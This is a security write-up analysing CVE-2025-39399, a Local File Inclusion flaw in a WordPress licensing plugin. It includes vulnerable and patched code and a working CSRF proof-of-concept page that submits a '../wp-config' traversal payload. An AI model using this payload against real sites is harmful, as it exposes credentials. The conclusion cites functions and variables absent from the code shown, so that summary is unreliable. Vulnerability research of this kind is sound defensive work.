CVE-2025-39399 Analysis & POC

1 CVE & Basic Info
The License For Envato plugin version ≤ 1.0.0 contains a Local File Inclusion vulnerability that allows an attacker to control the file parameter used in include/require
without authentication, thereby including or reading local files on the server (e.g., configuration files containing credentials), leading to sensitive information disclosure and, in some configurations, potential code execution.
- CVE ID: CVE-2025-39399
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 1.0.0
- Patched Versions: 1.1.0
- CVSS severity: High (7.5)
- Required Privilege: Unauthenticated
- Product: WordPress License For Envato Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - License For Envato: 1.0.0 (vulnerable) and 1.1.0 (patched).
- Diff tool - Meld or any diff/compare tool to inspect differences between the two versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
<div class="wrap">
<?php $action = isset( $_GET['tab'] ) ? sanitize_text_field( $_GET['tab'] ) : 'general'; ?>
// other logic
<?php
$dir = __DIR__;
$licenseEnvato_nav_view = apply_filters( 'license_envato_settings_view', $dir, $action );
if ($licenseEnvato_nav_view) {
$template = "{$licenseEnvato_nav_view}/{$action}.php";
}
if ( file_exists( $template ) ) {
include $template;
}else{
include "{$licenseEnvato_nav_view}/general.php";
}
?>
</div>
In the vulnerable version, the value of $action
is taken directly from $_GET['tab']
. Although this value is passed through sanitize_text_field()
, that function only strips HTML tags — it does not prevent path traversal sequences like ../
.
Therefore, an attacker can supply a value such as ?tab=../../somefile
, causing $action
to contain an unexpected path. When this value is concatenated into $template
and then include
d => LFI occurs.
Patched version:
<?php
// Exit if accessed directly
defined('ABSPATH') || exit;
// Define allowed tab values to prevent LFI
$allowed_tabs = array('general', 'envato');
// Apply filter to allow extensions to add their own tabs
$allowed_tabs = apply_filters('license_envato_allowed_tabs', $allowed_tabs);
// Verify nonce if tab parameter is set
$action = 'general';
if (isset($_GET['tab'])) {
// Verify nonce for tab switching if provided
if (isset($_GET['_wpnonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'license_envato_switch_tab')) {
$tab = sanitize_text_field(wp_unslash($_GET['tab']));
// Only allow values from the whitelist
$action = in_array($tab, $allowed_tabs) ? $tab : 'general';
} elseif (!isset($_GET['_wpnonce'])) {
// If no nonce is provided, still allow tab switching but sanitize input
$tab = sanitize_text_field(wp_unslash($_GET['tab']));
// Only allow values from the whitelist
$action = in_array($tab, $allowed_tabs) ? $tab : 'general';
}
}
?>
<div class="wrap">
<?php
$dir = __DIR__;
$licenseEnvato_nav_view = apply_filters( 'license_envato_settings_view', $dir, $action );
if ($licenseEnvato_nav_view) {
// Ensure we only include files within the plugin directory structure
$template = realpath("{$licenseEnvato_nav_view}/{$action}.php");
$nav_view_dir = realpath($licenseEnvato_nav_view);
// Verify the template is a child of the nav view directory to prevent path traversal
if ($template && $nav_view_dir && strpos($template, $nav_view_dir) === 0 && file_exists($template)) {
include $template;
} else {
// Fallback to general.php with the same security checks
$general_template = realpath("{$licenseEnvato_nav_view}/general.php");
if ($general_template && strpos($general_template, $nav_view_dir) === 0) {
include $general_template;
}
}
}
?>
</div>
The patch implements multiple measures to mitigate LFI and harden the handling of the tab
parameter:
- Use a whitelist
$allowed_tabs
$allowed_tabs = array('general', 'envato');
$allowed_tabs = apply_filters('license_envato_allowed_tabs', $allowed_tabs);
- Verify nonce to prevent CSRF
if (isset($_GET['_wpnonce']) && wp_verify_nonce(..., 'license_envato_switch_tab'))
The reason the CVE is labeled Unauthenticated is that an attacker does not need an account on the target site to exploit it. A common technique is to trick an admin (or a privileged user) into visiting a page containing the payload. When the admin opens that page, the browser sends a request to the WordPress site including the admin session cookie — so the request is considered authenticated as the admin. If the plugin accepts and executes the parameter without nonce or permission checks, the LFI payload will be processed and exploited.
- Normalize and validate paths using
realpath()
$template = realpath("{$licenseEnvato_nav_view}/{$action}.php");
$nav_view_dir = realpath($licenseEnvato_nav_view);
3.2 Vulnerable Code
public function plugin_page() {
$license_envato_api = new EnvatoLicenseApiCall();
$settingsView = __DIR__ . '/views/settingsView.php';
if ( file_exists( $settingsView ) ) {
include $settingsView;
}
}
settingsView.php
is always present in the source, so it is definitely include
d in plugin_page()
.
public function admin_menu() {
$parent_slug = 'licenseenvato';
$capability = 'manage_options';
add_submenu_page( $parent_slug, __( 'Settings', 'licenseenvato' ), __( 'Settings', 'licenseenvato' ), $capability, $parent_slug.'-settings', [ $this, 'settings' ] );
}
public function settings() {
$settings = new Settings();
$settings->plugin_page();
}
plugin_page()
is called via the “Settings” submenu callback, registered in admin_menu()
.
This submenu requires the manage_options
capability, so it is shown only to admins. When an admin opens the “Settings” submenu (endpoint licenseenvato-settings
), WordPress calls settings()
, which instantiates the Settings
class and runs plugin_page()
.
4 Exploit
4.1 Proof of Concept (PoC)
4.1.1 Step 1
Create a page that contains the LFI payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>w41bu1</title>
</head>
<body>
<form action="http://localhost/wp-admin/admin.php" method="get">
<input type="text" name="page" value="licenseenvato-settings">
<input type="text" name="tab" value="../../../../../../wp-config">
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
4.1.2 Step 2
Send the link to the admin
Result:
The debugger jumped to wp-config.php

Successful LFI result
5 Conclusion
Version ≤ 1.0.0 of License For Envato allows LFI because include()
uses $atts['template']
without proper validation; the vulnerability was fixed in 1.1.0 using basename()
+ realpath()
and base_dir checks.
6 Key takeaways
- Using only
sanitize_text_field()
is not sufficient to prevent path traversal in PHP. - Any parameter used in
include()
or file operations must be controlled by a whitelist or validated viarealpath()
. - CSRF combined with LFI can turn an admin-only flaw into an unauthenticated vulnerability if nonce verification is missing.
- Inputs must be strictly validated and the scope of accessible files restricted, especially in plugins that handle templates or views.
- Always validate and constrain paths when including files — never trust request data even if it has been “sanitized”.
7 References
File Inclusion/Path traversal — Hacktrick
WordPress License For Envato Plugin <= 1.0.0 is vulnerable to Local File Inclusion